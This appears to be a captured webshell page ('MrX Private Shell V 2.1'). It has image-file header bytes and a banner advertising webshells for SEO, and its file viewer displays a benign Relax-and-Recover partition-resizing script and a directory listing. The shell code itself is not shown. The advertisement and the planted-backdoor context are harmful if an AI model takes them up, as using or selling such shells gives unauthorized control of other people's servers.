����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
#
# layout/prepare/default/430_autoresize_all_partitions.sh
#
# Try to automatically resize all active partitions on all active disks
# (except boot and swap partitions via some special hardcoded rules)
# if the disk size had changed (i.e. only in migration mode).
# This does not resize volumes on top of the affected partitions.
#
# When AUTORESIZE_PARTITIONS is false, no partition is resized.
#
# When AUTORESIZE_PARTITIONS is neither true nor false (the default behaviour)
# only the last active partition on each active disk gets resized
# by the separated 420_autoresize_last_partitions.sh script.
#
# To automatically resize all active partitions on all active disks
# AUTORESIZE_PARTITIONS must be explicitly set to true.
#
# A true or false value must be the first one in the AUTORESIZE_PARTITIONS array.
# Skip if not in migration mode:
is_true "$MIGRATION_MODE" || return 0
# Skip if resizing all partitions is not explicitly wanted:
is_true "$AUTORESIZE_PARTITIONS" || return 0
cp "$LAYOUT_FILE" "$LAYOUT_FILE.tmp"
save_original_file "$LAYOUT_FILE"
while read type device size junk ; do
sysfsname=$(get_sysfs_name $device)
if [[ -d "/sys/block/$sysfsname" ]] ; then
newsize=$(get_disk_size "$sysfsname")
if (( "$newsize" == "$size" )) ; then
continue
fi
oldsize="$size"
difference=$( mathlib_calculate "$newsize - $oldsize" ) # can be negative!
Log "Total resize of ${difference}B"
Log "Searching for resizeable partitions on disk $device (${newsize}B)"
# Find partitions that could be resized.
partitions=()
resizeable_space=0
available_space="$newsize"
while read type part size start name flags name junk; do
if [ -n "$(grep "^fs $name /boot\|^swap $name " "$LAYOUT_FILE")" ]; then
available_space=$( mathlib_calculate "$available_space - ${size%B}" )
Log "Will not resize partition $name."
else
partitions+=( "$name|${size%B}" )
resizeable_space=$( mathlib_calculate "$resizeable_space + ${size%B}" )
Log "Will resize partition $name."
fi
done < <(grep "^part $device" "$LAYOUT_FILE" )
if (( ${#partitions[@]} == 0 )) ; then
Log "No resizeable partitions found."
continue
fi
if (( available_space < 0 )) ; then
LogPrint "No space to automatically resize partitions on disk $device."
LogPrint "Please do this manually."
continue
fi
# evenly distribute the size changes
### example:
### resize to 3145728000
### from 160041885696
### partitions:
### 1 : 209682432 (boot -> skipped)
### 2 : 128639303680
### 3 : 30040653824
###
### space used by resizeable partitions
### 128639303680 + 30040653824 = 158679957504
### available for resize on disk
### 3145728000 - 209682432 = 2936045568
### divide available space evenly
### 2' : 128639303680 * 2936045568 / 158679957504 = 2380205183
### 3' : 30040653824 * 2936045568 / 158679957504 = 555840384
### 2936045567
for data in "${partitions[@]}" ; do
name=${data%|*}
partition_size=${data#*|}
new_size=$( mathlib_calculate "( $partition_size / $resizeable_space ) * $available_space" )
(( new_size > 0 ))
BugIfError "Partition $name resized to a negative number."
nr=$(echo "$name" | sed -r 's/.+([0-9])$/\1/')
sed -r -i "s|^(part $device) ${partition_size}(.+)$nr$|\1 ${new_size}\2$nr|" $LAYOUT_FILE.tmp
Log "Resized partition $name from ${partition_size}B to ${new_size}B."
done
fi
done < <(grep "^disk " "$LAYOUT_FILE")
mv "$LAYOUT_FILE.tmp" "$LAYOUT_FILE"
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| 010_prepare_files.sh | File | 2.18 KB | 0644 |
|
| 200_recreate_hpraid.sh | File | 7.92 KB | 0644 |
|
| 250_compare_disks.sh | File | 13 KB | 0644 |
|
| 270_overrule_migration_mode.sh | File | 1.2 KB | 0644 |
|
| 300_map_disks.sh | File | 22.12 KB | 0644 |
|
| 310_remove_exclusions.sh | File | 4.08 KB | 0644 |
|
| 319_rename_xfs_configs.sh | File | 4.14 KB | 0644 |
|
| 320_apply_mappings.sh | File | 1.83 KB | 0644 |
|
| 420_autoresize_last_partitions.sh | File | 52.23 KB | 0644 |
|
| 430_autoresize_all_partitions.sh | File | 3.96 KB | 0644 |
|
| 500_confirm_layout_file.sh | File | 2.35 KB | 0644 |
|
| 510_list_dependencies.sh | File | 103 B | 0644 |
|
| 520_exclude_components.sh | File | 607 B | 0644 |
|
| 540_generate_device_code.sh | File | 1.71 KB | 0644 |
|
| 550_finalize_script.sh | File | 119 B | 0644 |
|
| 600_show_unprocessed.sh | File | 3.16 KB | 0644 |
|
| 610_exclude_from_restore.sh | File | 1.23 KB | 0644 |
|